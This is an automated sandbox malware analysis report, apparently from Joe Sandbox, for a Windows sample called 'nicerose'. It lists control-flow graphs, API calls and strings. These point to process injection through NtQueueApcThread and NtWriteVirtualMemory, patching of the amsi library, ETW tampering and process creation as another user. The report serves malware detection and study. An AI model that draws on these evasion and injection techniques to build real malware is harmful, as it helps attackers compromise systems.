2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 * 16 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bb46a4 * 2 call 2bc8824 call 2bc7b98 call 2bc818c call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 ExitProcess 5664->5754 5753->5754 5763 2bd8c8f-2bd8f62 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bce540 call 2bb480c call 2bb494c call 2bb46a4 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb7e18 5753->5763 6021 2bd8f68-2bd9215 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb4d8c * 2 call 2bb4734 call 2bcdacc 5763->6021 6022 2bd921a-2bd941b call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb49a4 call 2bc8bb0 5763->6022 5874 2bd7fcb-2bd7fce 5773->5874 5875 2bd7fd0-2bd82f0 call 2bb49a4 call 2bcdc90 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bccfa4 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 5773->5875 5774->5773 5874->5875 6189 2bd8309-2bd8aec call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 ResumeThread call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 CloseHandle call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bc7ed4 call 2bc87a0 * 6 CloseHandle call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 call 2bb480c call 2bb494c call 2bb46a4 call 2bb4798 call 2bb494c call 2bb46a4 call 2bc8824 5875->6189 6190 2bd82f2-2bd8304 call 2bc8584 5875->6190 6021->6022 6022->5754 6189->5664 6190->6189
                                                                                    APIs
                                                                                      • Part of subcall function 02BC8824: LoadLibraryA.KERNEL32(00000000,00000000,02BC890B), ref: 02BC8858
                                                                                      • Part of subcall function 02BC8824: FreeLibrary.KERNEL32(745E0000,00000000,02C11388,Function_000065D8,00000004,02C11398,02C11388,05F5E0FF,00000040,02C1139C,745E0000,00000000,00000000,00000000,00000000,02BC890B), ref: 02BC88EB
                                                                                    • CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02D057DC,02D05820,OpenSession,02C1137C,02BDAFD8,UacScan,02C1137C), ref: 02BD7E39
                                                                                    • ResumeThread.KERNEL32(00000890,ScanBuffer,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,UacScan,02C1137C,02BDAFD8,ScanBuffer,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8), ref: 02BD8483
                                                                                      • Part of subcall function 02BC8584: NtQueueApcThread.NTDLL(?,?,?,?,?), ref: 02BC85B5
                                                                                    • CloseHandle.KERNEL32(00000894,ScanBuffer,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,UacScan,02C1137C,02BDAFD8,00000890,ScanBuffer,02C1137C,02BDAFD8,OpenSession,02C1137C), ref: 02BD8602
                                                                                      • Part of subcall function 02BC87A0: LoadLibraryW.KERNEL32(bcrypt,?,00000000,00000000,02C113A4,02BCA3C7,ScanString,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,Initialize,02C113A4,02BCA77C,UacScan), ref: 02BC87B4
                                                                                      • Part of subcall function 02BC87A0: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02BC87CE
                                                                                      • Part of subcall function 02BC87A0: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000000,00000000,02C113A4,02BCA3C7,ScanString,02C113A4,02BCA77C,ScanBuffer,02C113A4,02BCA77C,Initialize), ref: 02BC880A
                                                                                    • CloseHandle.KERNEL32(00000894,00000894,ScanBuffer,02C1137C,02BDAFD8,UacInitialize,02C1137C,02BDAFD8,ScanBuffer,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,UacScan,02C1137C), ref: 02BD89F4
                                                                                      • Part of subcall function 02BB7E18: GetFileAttributesA.KERNEL32(00000000,?,02BCF8CC,ScanString,02C1137C,02BDAFD8,OpenSession,02C1137C,02BDAFD8,ScanString,02C1137C,02BDAFD8,UacScan,02C1137C,02BDAFD8,UacInitialize), ref: 02BB7E23
                                                                                      • Part of subcall function 02BCDACC: RtlDosPa.N(00000000,?,00000000,00000000,00000000,02BCDB9E), ref: 02BCDB0B
                                                                                      • Part of subcall function 02BCDACC: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02BCDB45
                                                                                      • Part of subcall function 02BCDACC: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02BCDB72
                                                                                      • Part of subcall function 02BCDACC: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02BCDB7B
                                                                                      • Part of subcall function 02BC818C: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02BC8216), ref: 02BC81F8
                                                                                    • ExitProcess.KERNEL32(00000000,OpenSession,02C1137C,02BDAFD8,ScanBuffer,02C1137C,02BDAFD8,Initialize,02C1137C,02BDAFD8,00000000,00000000,00000000,ScanString,02C1137C,02BDAFD8), ref: 02BDAA25
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Library$CloseFile$CreateFreeHandleLoadProcessThread$AddressAttributesCacheExitFlushInstructionProcQueueResumeUserWrite
                                                                                    • String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZER$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
                                                                                    • API String ID: 849842579-3388343709
                                                                                    • Opcode ID: 76decd6d6b01d43ba167a4719e5c52dc3b6aa4136cd9f00feebdcbe39b0a1277
                                                                                    • Instruction ID: bde22b1cba46eb8ba4e610cd6fbfe527ddad44ef16b1824ae48d9a0bb7ebd87e
                                                                                    • Opcode Fuzzy Hash: 76decd6d6b01d43ba167a4719e5c52dc3b6aa4136cd9f00feebdcbe39b0a1277
                                                                                    • Instruction Fuzzy Hash: DA431D75A101588FDF22EB64CD909EE73B6FF88300F1545E6E009EB655EA70AE89CF50
                                                                                    Function 02BB1724 Relevance: 9.0, APIs: 7, Instructions: 289sleepCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 8898 2bb1724-2bb1736 8899 2bb1968-2bb196d 8898->8899 8900 2bb173c-2bb174c 8898->8900 8903 2bb1973-2bb1984 8899->8903 8904 2bb1a80-2bb1a83 8899->8904 8901 2bb174e-2bb175b 8900->8901 8902 2bb17a4-2bb17ad 8900->8902 8905 2bb175d-2bb176a 8901->8905 8906 2bb1774-2bb1780 8901->8906 8902->8901 8909 2bb17af-2bb17bb 8902->8909 8907 2bb1938-2bb1945 8903->8907 8908 2bb1986-2bb19a2 8903->8908 8910 2bb1a89-2bb1a8b 8904->8910 8911 2bb1684-2bb16ad VirtualAlloc 8904->8911 8912 2bb176c-2bb1770 8905->8912 8913 2bb1794-2bb17a1 8905->8913 8917 2bb1782-2bb1790 8906->8917 8918 2bb17f0-2bb17f9 8906->8918 8907->8908 8914 2bb1947-2bb195b Sleep 8907->8914 8919 2bb19b0-2bb19bf 8908->8919 8920 2bb19a4-2bb19ac 8908->8920 8909->8901 8921 2bb17bd-2bb17c9 8909->8921 8915 2bb16df-2bb16e5 8911->8915 8916 2bb16af-2bb16dc call 2bb1644 8911->8916 8914->8908 8922 2bb195d-2bb1964 Sleep 8914->8922 8916->8915 8928 2bb17fb-2bb1808 8918->8928 8929 2bb182c-2bb1836 8918->8929 8925 2bb19d8-2bb19e0 8919->8925 8926 2bb19c1-2bb19d5 8919->8926 8924 2bb1a0c-2bb1a22 8920->8924 8921->8901 8927 2bb17cb-2bb17de Sleep 8921->8927 8922->8907 8930 2bb1a3b-2bb1a47 8924->8930 8931 2bb1a24-2bb1a32 8924->8931 8936 2bb19fc-2bb19fe call 2bb15cc 8925->8936 8937 2bb19e2-2bb19fa 8925->8937 8926->8924 8927->8901 8935 2bb17e4-2bb17eb Sleep 8927->8935 8928->8929 8938 2bb180a-2bb181e Sleep 8928->8938 8932 2bb18a8-2bb18b4 8929->8932 8933 2bb1838-2bb1863 8929->8933 8942 2bb1a49-2bb1a5c 8930->8942 8943 2bb1a68 8930->8943 8931->8930 8939 2bb1a34 8931->8939 8944 2bb18dc-2bb18eb call 2bb15cc 8932->8944 8945 2bb18b6-2bb18c8 8932->8945 8940 2bb187c-2bb188a 8933->8940 8941 2bb1865-2bb1873 8933->8941 8935->8902 8946 2bb1a03-2bb1a0b 8936->8946 8937->8946 8938->8929 8948 2bb1820-2bb1827 Sleep 8938->8948 8939->8930 8950 2bb18f8 8940->8950 8951 2bb188c-2bb18a6 call 2bb1500 8940->8951 8941->8940 8949 2bb1875 8941->8949 8952 2bb1a5e-2bb1a63 call 2bb1500 8942->8952 8953 2bb1a6d-2bb1a7f 8942->8953 8943->8953 8957 2bb18fd-2bb1936 8944->8957 8963 2bb18ed-2bb18f7 8944->8963 8954 2bb18ca 8945->8954 8955 2bb18cc-2bb18da 8945->8955 8948->8928 8949->8940 8950->8957 8951->8957 8952->8953 8954->8955 8955->8957
                                                                                    APIs
                                                                                    • Sleep.KERNEL32(00000000,?,02BB2000), ref: 02BB17D0
                                                                                    • Sleep.KERNEL32(0000000A,00000000,?,02BB2000), ref: 02BB17E6
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Sleep
                                                                                    • String ID:
                                                                                    • API String ID: 3472027048-0
                                                                                    • Opcode ID: bd4108b9157804e4111e90b4399766b6e319fa3896b42b67cbcb8cf545b6754e
                                                                                    • Instruction ID: 4d0a07ed29833d568b13ebc6c2989b849650ccc6aed8a6ca3d7b5d0aa9c33aa9
                                                                                    • Opcode Fuzzy Hash: bd4108b9157804e4111e90b4399766b6e319fa3896b42b67cbcb8cf545b6754e
                                                                                    • Instruction Fuzzy Hash: 10B13672A503408BDB16CF2CD8E03A5BBE1FF85310F198AEDD6598B385C7B0A451CB91
                                                                                    Function 02BC870C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35libraryCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • LoadLibraryW.KERNEL32(amsi), ref: 02BC8715
                                                                                      • Part of subcall function 02BC80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02BC8150,?,?,00000000,00000000,?,02BC8069,00000000,KernelBASE,00000000,00000000,02BC8090), ref: 02BC8115
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02BC811B
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(?,?), ref: 02BC812D
                                                                                      • Part of subcall function 02BC7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02BC7D74
                                                                                    • FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02BC8774
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AddressLibraryProc$FreeHandleLoadMemoryModuleVirtualWrite
                                                                                    • String ID: DllGetClassObject$W$amsi
                                                                                    • API String ID: 941070894-2671292670
                                                                                    • Opcode ID: e6f35185a6a36b2f8acf67bc7b347950e3ee2648d6fc215c7a483efe0857d8d1
                                                                                    • Instruction ID: e5d8d1fae1376f2a0884a821eb3c3b19d79bc8db9dd6a539de01a4e18b034b67
                                                                                    • Opcode Fuzzy Hash: e6f35185a6a36b2f8acf67bc7b347950e3ee2648d6fc215c7a483efe0857d8d1
                                                                                    • Instruction Fuzzy Hash: A8F0AF6050C381B9E202E6748C45F4FBFCD4B92224F148A9DF1E86A2D2DA79D1049BB7
                                                                                    Function 02BB1A8C Relevance: 7.7, APIs: 6, Instructions: 175sleepCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    • Executed
                                                                                    • Not Executed
                                                                                    control_flow_graph 8986 2bb1a8c-2bb1a9b 8987 2bb1b6c-2bb1b6f 8986->8987 8988 2bb1aa1-2bb1aa5 8986->8988 8991 2bb1c5c-2bb1c60 8987->8991 8992 2bb1b75-2bb1b7f 8987->8992 8989 2bb1b08-2bb1b11 8988->8989 8990 2bb1aa7-2bb1aae 8988->8990 8989->8990 8999 2bb1b13-2bb1b27 Sleep 8989->8999 8995 2bb1adc-2bb1ade 8990->8995 8996 2bb1ab0-2bb1abb 8990->8996 8997 2bb16e8-2bb170b call 2bb1644 VirtualFree 8991->8997 8998 2bb1c66-2bb1c6b 8991->8998 8993 2bb1b3c-2bb1b49 8992->8993 8994 2bb1b81-2bb1b8d 8992->8994 8993->8994 9007 2bb1b4b-2bb1b5f Sleep 8993->9007 9000 2bb1b8f-2bb1b92 8994->9000 9001 2bb1bc4-2bb1bd2 8994->9001 9004 2bb1af3 8995->9004 9005 2bb1ae0-2bb1af1 8995->9005 9002 2bb1abd-2bb1ac2 8996->9002 9003 2bb1ac4-2bb1ad9 8996->9003 9014 2bb170d-2bb1714 8997->9014 9015 2bb1716 8997->9015 8999->8990 9006 2bb1b2d-2bb1b38 Sleep 8999->9006 9009 2bb1b96-2bb1b9a 9000->9009 9001->9009 9011 2bb1bd4-2bb1bd9 call 2bb14c0 9001->9011 9010 2bb1af6-2bb1b03 9004->9010 9005->9004 9005->9010 9006->8989 9007->8994 9012 2bb1b61-2bb1b68 Sleep 9007->9012 9016 2bb1bdc-2bb1be9 9009->9016 9017 2bb1b9c-2bb1ba2 9009->9017 9010->8992 9011->9009 9012->8993 9019 2bb1719-2bb1723 9014->9019 9015->9019 9016->9017 9023 2bb1beb-2bb1bf2 call 2bb14c0 9016->9023 9020 2bb1bf4-2bb1bfe 9017->9020 9021 2bb1ba4-2bb1bc2 call 2bb1500 9017->9021 9024 2bb1c2c-2bb1c59 call 2bb1560 9020->9024 9025 2bb1c00-2bb1c28 VirtualFree 9020->9025 9023->9017
                                                                                    APIs
                                                                                    • Sleep.KERNEL32(00000000,?,?,00000000,02BB1FE4), ref: 02BB1B17
                                                                                    • Sleep.KERNEL32(0000000A,00000000,?,?,00000000,02BB1FE4), ref: 02BB1B31
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Sleep
                                                                                    • String ID:
                                                                                    • API String ID: 3472027048-0
                                                                                    • Opcode ID: 5f0faae64e3c2696eea0fa9ec29166b206496da69ed05a8f72b32a7918450e5a
                                                                                    • Instruction ID: 00ff9d6e92162b2522d89b6cf4275a184704e541597e47e3f3742f381aead0d6
                                                                                    • Opcode Fuzzy Hash: 5f0faae64e3c2696eea0fa9ec29166b206496da69ed05a8f72b32a7918450e5a
                                                                                    • Instruction Fuzzy Hash: 5351C071A612408FE726CF6C89E47B6BBD0EF45314F1886EED548CB286D7E0D445CBA1
                                                                                    Function 02BCE2F6 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112networkCOMMON
                                                                                    Download Yara Rule

                                                                                    Control-flow Graph

                                                                                    APIs
                                                                                    • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02BCE436
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CheckConnectionInternet
                                                                                    • String ID: Initialize$OpenSession$ScanBuffer
                                                                                    • API String ID: 3847983778-3852638603
                                                                                    • Opcode ID: 827b53f6728ce89d0c9135b711262e4b8225f54e89195c419ec74284ac6c5852
                                                                                    • Instruction ID: d5ca713edaaa8383bde0a5fac39530d04ee9df152d72e2912e366f48f8861627
                                                                                    • Opcode Fuzzy Hash: 827b53f6728ce89d0c9135b711262e4b8225f54e89195c419ec74284ac6c5852
                                                                                    • Instruction Fuzzy Hash: 0A41ED31B501189FEB12EBA4C891AEEB3FAFF4C710F2148A5E151A7651DAB4ED05CF60
                                                                                    Function 02BC840E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46processCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02BC8090,?,?,00000000,?,02BC7A06,ntdll,00000000,00000000,02BC7A4B,?,?,00000000), ref: 02BC805E
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNELBASE(?), ref: 02BC8072
